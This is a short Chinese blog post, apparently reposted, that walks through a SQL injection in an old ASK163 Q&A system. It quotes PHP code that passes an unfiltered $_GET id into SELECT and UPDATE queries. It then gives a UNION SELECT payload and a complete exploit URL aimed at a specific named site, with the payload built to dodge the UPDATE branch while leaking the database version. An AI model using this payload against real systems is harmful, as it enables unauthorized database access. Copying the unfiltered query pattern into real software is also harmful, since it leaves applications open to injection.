标签:
Title:一次突破思路 2013-07-02 13:46
PHP代码如下
elseif($command==‘readmsg‘) { $query=$dblink->query("select * from $tablepre"."message where id=$_GET[id]");//未过滤 $msg=$dblink->fetch_array($query); $msg_id=$msg[‘id‘];//得到信息的ID号 $msg_senduser=$msg[‘senduser‘];//得到发送信息的用户名 $msg_title=$msg[‘title‘];//得到信息的标题 $msg_content=$msg[‘content‘];//得到信息的内容,为什么两次? $msg_content=$msg[‘content‘]; $msg_time=date("Y-n-d H:i:s",$msg[‘time‘]);//格式化发送信息的时间 if($msg_senduser==$ngoask_user)//对比发送信息的用户名跟当前登录用户名 { $enable_receive=0; } else { $enable_receive=1; $dblink->query("update $tablepre"."message set readtag=1 where id=$_GET[id]"); } }
这遇到的是一款很老的ASK163系统。
很奇葩的是,这登录以后,$ngoask_user的值竟然显示是null,所以if的时候,两个用户名不相等。
所以会执行两个SQL语句。
后面通过联合查询控制,$msg[‘senduser‘]的值为null.显示位第2位为senduser.
select * from $tablepre"."message where id=-14 Union select 1,null,2,3,4,5,6,7,version(),9,10
http://www.f100.com/ask/my.php?command=readmsg&id=-14+Union+select+1,null,3,4,5,6,7,version(),9,10
这样$msg_senduser==$ngoask_user,都为null,如果$ngoask_user的值为其他,那就select其他值,相等就OK。不会执行update语句。
标签:
原文地址:http://www.cnblogs.com/TeaIng-Index/p/4320689.html